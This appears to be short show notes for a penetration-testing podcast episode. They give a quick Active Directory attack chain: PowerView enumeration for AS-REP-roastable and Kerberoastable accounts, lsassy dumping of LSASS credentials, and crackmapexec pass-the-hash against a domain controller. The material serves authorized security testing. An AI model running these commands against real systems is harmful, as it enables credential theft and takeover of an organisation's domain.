Hi! This episode of pentest pwnage is a fun one because it was built for speeeeeeeeeeeeeeeed. Here's some of the things we're doing/running when time is of the essence: Get a cmd.exe spun up in the context of your AD user account: runas /netonly /user:samplecompany\billybob "C:\windows\system32\cmd.exe" Then get some important info in PowerView: Get-DomainUser -PreAuthNotRequired - find AD users with this flag set...then crack the hash for a (potentially) easy win! Get-NetUser -spn - find Kerberoastable accounts...then crack the hash for a (potentially) easy win! Find-LocalAdminAccess -Verbose helps you find where your general AD user has local admin access! Once you know where you have local admin access, lsassy is your friend: lsassy -d domain.com -u YOUR-USER -p YOUR-PASSWORD victim-server Did you get an admin's NTLM hash from this dump? Then do this: crackmapexec smb IP.OF.THE.DOMAINCONTROLLER -u ACCOUNT-YOU-DUMPED -H 'NTLM-HASH-OF-THAT-ACCOUNT-YOU-DUMPED (Pwn3d!) FTW!
